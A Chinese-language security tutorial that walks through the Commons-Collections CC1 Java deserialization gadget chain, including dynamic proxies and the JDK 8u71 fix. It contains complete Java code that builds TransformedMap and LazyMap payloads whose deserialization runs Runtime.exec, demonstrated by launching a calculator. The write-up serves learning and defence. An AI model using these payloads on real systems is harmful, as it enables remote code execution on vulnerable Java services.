前文介紹了最簡單的反序列化鏈URLDNS,雖然URLDNS本身不依賴第三方包且呼叫簡單,但不能做到漏洞利用,僅能做漏洞探測,如何才能實現RCE呢,於是就有Common-collections1-7、Common-BeanUtils等這些三方庫的利用。本文需要前置知識Java反射、動態代理等。CC1其實比較難,會用到很多高階特性,但理解了CC1後面的payload也就能輕鬆理解了。

背景

Common-collections是對jdk自帶的資料型別的三方增強框架,類似python裡面的collections包,common-collections 目前有兩個分支,3.X和4.X,從pom檔案裡面可以看到兩者的groupId與artifactId都不同,擁有不同的名稱空間,所以可以在一個包裡面可以同時使用。

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency> <dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

這兩個包大部分的用法都很類似,我們先來了解包裡面很重要的四大Transform。

Transformer

要學習CC鏈(我把基於common-collections利用的鏈簡稱為CC鏈),首先得了解CC鏈中用到的類及方法的基礎用法,我們需要了解CC中提供的四大Transformer。

  • InvokerTransformer
  • ConstantTransformer
  • ChainedTransformer
  • InstantiateTransformer

這一篇文章先介紹前三種,後面介紹InstantiateTransformer

InvokerTransformer

在原始碼中,作者對這個類的解釋是,這個類按照Transformer介面規範以反射的方式生成一個新物件

我們就很清楚這個類就是拿來生成新物件的,並且是通過Transformer介面定義的transform()方法生成的,可以看到Transformer介面的描述

InvokerTransformer的實現:

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

其中的iMethodName、iParamTypes、iArgs來自於構造方法.

   public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

InvokerTransformer.transform(Object input) ,就是以反射方式執行input物件的傳入構造方法中的method方法。

其實common-collections的萬惡之源也就是這個類,因為這個類能夠根據傳參動態生成新的物件,如果引數可控的情況下,我們可以用這個類來動態執行程式碼,如:

  InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});

  invokerTransformer.transform(Runtime.getRuntime());

執行效果:

ConstantTransformer

ConstantTransformer 這個類功能比較簡單,就是將初始化傳入的物件變為final後執行transform返回。

 String test = new String("1111111");
ConstantTransformer transformer = new ConstantTransformer(test);
Object obj = transformer.transform(null); System.out.println(test.hashCode());
System.out.println(obj.hashCode());

程式碼執行後輸出:

可以通俗理解初始化傳入什麼transform就會返回什麼。

ChainedTransformer

ChainedTransformer 理解起來可能會繞一些,初始化時傳入transforms陣列.

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

執行transform方法時會遍歷初始化傳入的陣列,並將上一個物件執行transforms的結果作為下一個物件執行transform的引數,以鏈式方式進行執行

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

在已經清楚了InvokerTransformer、ConstantTransformer的情況下我們可以用他們精心構造一個transform陣列來演示Chaninedtransformer。我們構造鏈一個Transformer陣列,裡面的元素有預先定義好的ConstantTransformer與InvokerTransformer。

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

執行chainedTransformer.transform(null)方法時,其實內部相當於是這麼呼叫的:

  • obj1=new ConstantTransformer(Runtime.getRuntime()).transform(null)
  • obj2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).tranform(obj1)
  • Runtime.getRuntime()).exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

執行效果:

挖掘利用鏈

思路一

在前面我們其實已經簡單構造了一個惡意類了,即上面精心構造的chainedTransformer,我們只要去程式碼的海洋裡面找到有誰會呼叫chainedTransformer的transform方法就能觸發程式碼執行,然後安全人員就發現了兩個方法可以對這個惡意類進一步的包裝,使其變成一個通用的資料型別,一個是TransformedMap.decorate 另一個 lazyMap.decorate, 這兩種方式都是對普通Map進行增強,使其在特定場合能夠觸發transform。也就是惡意類轉變為了Map,使其利用更加通用。

我們來看一下TransformedMap.decorate()這個方法吧,提供了三個引數 原始map、keyTransformer、valueTransformer

跟進TransformerMap 發現其重寫了map的許多方法,有checkSetValue、put、putAll ,增強map在執行這三個方法時就會執行初始化入參的Transformer.transform()方法,假如我們傳入的就是我們構造的惡意chained Transformer ,那就成功的觸發了惡意類。不過keytransform是對key進行執行,valueTransformer是對map的value執行,但其實父類的setValue也會呼叫checkSetValue,所以其實是有checkSetValue、put、putAll、setValue 呼叫就會觸發惡意類執行。

這個時候這個惡意類的使用範圍就一下擴大了,畢竟很多地方都會對map進行put或者setValue的操作,那安全人員首先就找到了sun.reflect.annotation.AnnotationInvocationHandler 這個類,這是一個JDK自帶的類(rt.jar/sun/reflect/annotation/AnnotationInvocationHandler),這個類在反序列化後經過一系列騷操作最後就會呼叫我們上面的惡意類,分析反序列化漏洞會先從類的readObject開始,看一下AnnotationInvocationHandler 的readObject方法(jdk1.8.20),我們之前說過只要對map進行checkSetValue、put、putAll、setValue就能觸發惡意類執行,那在程式碼的293行就很明顯有呼叫setValue方法。

293行中的var5 其實是物件私有屬性memberValue的值,只要我們將memberValue值賦於我們的惡意類,那這個漏洞是不是就串起來了。

所以我們整理下,然後用自己的程式碼來實現驗證:

第一步,基於InvokeTransformer、ConstantTransformer生成一個惡意的ChainedTransformer

public class Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; //開啟計算器,不同平臺需要替換命令
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{new Object(),new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1); 測試觸發
}
}

這裡可能會有人會疑問為啥這個transformers 陣列會通過Runtime.class 去不斷反射執行,而不是像之前介紹InvokeTransformer時直接使用getRuntime()呢,即下面的transform1和transfom2在生成chainedTransfomer時有什麼區別:

 Transformer[] transformers1 =  new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
}; Transformer[] transformers2 = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};

其實真正能夠完成反序列化程式碼執行只有transformers1,為啥? 因為Java 要能完成序列化與反序列化要求這個被序列化的類有繼承Serializable,而Runtime類沒有繼承,所以直接使用transformers2 就會報錯。

第二步,使用TransformedMap.decorate() 生成一個經過transformer增強的map惡意類

這裡我們使用生成一個原始的hashmap,key和value 先隨便設,這裡先留個心眼,等會我們還要回頭看,TransformedMap 呼叫setValue實際上是呼叫了valueTransformer,所以應該將transfomer給到第三個引數。

第二步程式碼如下

//        第二步
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal"); // 這個地方留坑
Map evilMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
// Map.Entry entry = (Map.Entry) evilMap.entrySet().iterator().next();
// entry.setValue("1"); 測試觸發

第三步,給AnnotationInvocationHandler私有變數memberValues 賦值惡意物件

AnnotationInvocationHandler 的建構函式沒有用public修飾,沒法直接通過new 的方式生成物件,所以我們要通過萬能的反射獲取構造方法,然後執行newInstance的方式來生成AnnotationInvocationHandler物件。其中構造方法第一個引數要求為Annotaion的子類,我們這裡傳入@Target,第二個引數即為我們想要賦值的變數memberValues。

程式碼:

//       第三步
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); // 通過反射獲取構造器
constructor.setAccessible(true); // 設定可以訪問
InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 傳入@target和惡意map

第四步 反序列化觸發

//        第四步
String path = ExpUtils.serialize(evilHandler); // 使用自己封裝的序列化函式返回序列化檔案的路徑
ExpUtils.unserialize(path); // 反序列指定檔案

執行這所有步驟的程式碼,但並沒有按照我們預期的執行命令然後彈出計算器。

打上斷點進行除錯看一看

原來在執行setvalue前有一個if分支,要求var7不為null,而這個var7 是AnnotationInvocationHandler構造傳參的第一個註解引數獲取我們惡意map的key的返回值,所以要是var7不為null,惡意map的key為一個有意義的值,那應該是啥呢,開啟var3變數可以看到只要將key設定為value var7即可不為null。

所以修改第二步hashMap中key為value,重新執行程式碼

成功執行,沒毛病~

目前這個利用方式害只能在較低的jdk版本執行,1.8.71 以下,高版本移除了對memberValue的setValue方法

其實這個思路和yso中cc1的利用鏈還不同,也就是這其實不是CC1 ,只是另外一種方式的利用方法,那真正的CC1是怎麼利用的呢? 請看思路二

思路二

思路一是通過readObject中的存在觸發函式而利用的,而思路二則是迴歸AnnotationInvocationHandler 這個類本身,AnnotationInvocationHandler 實現了InvocationHandler,而InvocationHandler 是作為jdk動態代理使用的,通過呼叫InvocationHandler中的invoke方法來對被代理物件進行增強。

這裡展開下動態代理吧

JDK動態代理

其實代理分為靜態代理與動態代理,靜態代理即手動的建立一個代理類,在代理類中呼叫原本的類,外界通過手動掉用代理的方式實現類被代理的效果,靜態的方式有明顯的缺點,如我想為某一個類增加一個埋點上報的功能,這個時候用靜態代理沒有問題,但我還有若干個類也想埋點上報這就需要我編寫若干個代理類,不方便實際使用,所以動態代理就出來了,動態代理可以通過編寫一個AnnotationInvocationHandler的實現類就可以為每一個想要增強的類實現類似的功能,非常靈活也減少了工作量。

動態代理有很多種實現,總的分為:

  • 預編譯方式 主要有AspectJ
  • 執行期動態代理 代表的有 JDK動態代理、CGLib動態代理,JDK動態代理只能代理實現了藉口的類

動態代理也是Spring核心技術AOP的重要實現方式,下面用一個例項演示JDK動態代理的使用。

專案中存在

Animal介面,定義了動物能幹的事:

package ProxyDemo;

public interface Animal {
public void eat();
}

CatImpl 實現了Animal介面

package ProxyDemo;

public class CatImpl implements Animal{
@Override
public void eat() {
System.out.println("miao~");
}
}

AnimalHandler 實現了InvocationHandler介面,重寫後的大概邏輯就是在原物件執行的前後分別輸出pre和after,注意點是原物件每次執行任意原方法如這裡的eat都會呼叫handler中的invoke方法。

package ProxyDemo;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; public class AnimalHandler implements InvocationHandler { private final Object obj0; public AnimalHandler(Object obj0){
this.obj0 = obj0;
} @Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("pre");
Object res = method.invoke(obj0,args);
System.out.println("after");
return res;
}
}

TestMain 中完成呼叫具體邏輯, 呼叫Proxy的靜態方法newProxyInstance,分別傳入classloader、原類介面、handler

package ProxyDemo;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; public class TestMain {
public static void main(String[] args) {
InvocationHandler handler = new AnimalHandler(new CatImpl());
Animal cat = (Animal) Proxy.newProxyInstance(TestMain.class.getClassLoader(),CatImpl.class.getInterfaces(),handler);
cat.eat();
}
}

執型TestMain的main方法,結果:

明顯已經在原來輸出miao~的前後加上了pre與after完成了增強,其實個人感覺這裡特別像python的裝飾器。

介紹完JDK動態代理後我們回過頭來看AnnotationInvocationHandler 這個類,我們發現它就是對InvocationHandler 的實現,具體Invoke邏輯如下:

在53行程式碼中有對memberValue做get操作,回顧之前TransformedMap增強對hashmap會在setValue時候觸發惡意類,那有沒有可以通過執行get方法觸發惡意類的方式呢? 答案是肯定的,就是通過開頭我們提到的LazyMap.decorate ,Lazymap的大致功能根據字面意思也可以知道,就是提供懶載入的功能,具體到執行get方法是,先去判斷map中是否存在這個key 如果沒有就呼叫 LazyMap.decorate 初始化傳入到transformer物件的transfrom方法,進而出發惡意transform。

那思路其實就清晰了,反序列化過程中想辦法呼叫AnnotationInvocationHandler 的invoke方法即可觸發惡意類執行,那怎麼呼叫invoke方法呢,因為AnnotationInvocationHandler本身就實現了invoke方法,所以我們直接用它作為動態代理的handler,只要原物件有執行任意方法即可呼叫invoker完成惡意類執行。這次甚至都不用管var7是否為null了,因為memberValues在其之前有執行entrySet方法,進而呼叫invoke,呼叫memberValues.get()方法觸發惡意類。

執行流程:

  1. AnnotationInvocationHandler.readObject()
  2. this.memberValues.entrySet()
  3. AnnotationInvocationHandler.invoke()
  4. this.memberValues.get()
  5. Lazy map.get()
  6. ChainedTransformed.transform()
  7. Runtime.getRuntime().exec(cmd)

那我們用自己的程式碼來實現以下:

第一步 生成LazyMap增強後的map,chainedTransform生成和思路一一樣

//        chainedTransformer 和思路一生成方式一致
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); // 使用lazyMap增強

第二步 生成AnnotationInvocationHandler 物件

同思路一一致,通過反射獲取建構函式的方式生成AnnotationInvocationHandler物件

		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); // 反射獲取建構函式
constructor.setAccessible(true);
InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 執行建構函式生成物件,傳入lazyMap

第三步 通過動態代理使用第二步AnnotationInvocationHandler的代理lazyMap,並將其作為構造方法引數賦值給memberValues

  Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap); // 傳入代理lazyMap

第四步 序列化反序列化觸發

        String path =  ExpUtils.serialize(finalEvilHandler);
ExpUtils.unserialize(path);

完美觸發,沒毛病~

思路二就是CC1鏈的主要邏輯,但CC1在8u71後不能使用,我們對比下新老版本,分析一下原因

左邊為新版本右邊為舊版本,可以看到在新版jdk中,反序列化不再通過defaultReadObject方式,而是通過readFields 來獲取幾個特定的屬性,這兩種方式有什麼區別呢,經過我自己多次除錯發現defaultReadObject 可以恢復物件本身的類屬性,比如this.memberValues 就能恢復成我們原本設定的惡意類,但通過readFields方式,this.memberValues 就為null,所以後續執行get()就必然沒發觸發,這也就是高版本不能使用的原因,網上大多會說是因為取消了SetValue導致不能觸發,但其實不然,思路一確實是因為這個原因,但CC1和取消setValue沒有半毛錢關係。

總結

經過洋洋灑灑4000多字分析了AnnotationInvocationHandler的兩種思路上的利用方式,其中YSO工具中CC1鏈就是本文中的思路二,CC1 用到了很多高階特性,理解上可能會比較困難,但只要搞懂了後續的鏈也就很輕鬆了,目前CC1還只能在低於8u71的版本利用或者比修復這個漏洞前的版本,那如果對方機器是高版本且為Common-collections4 呢,後續的CC2 就來看看Common-collections4下的利用。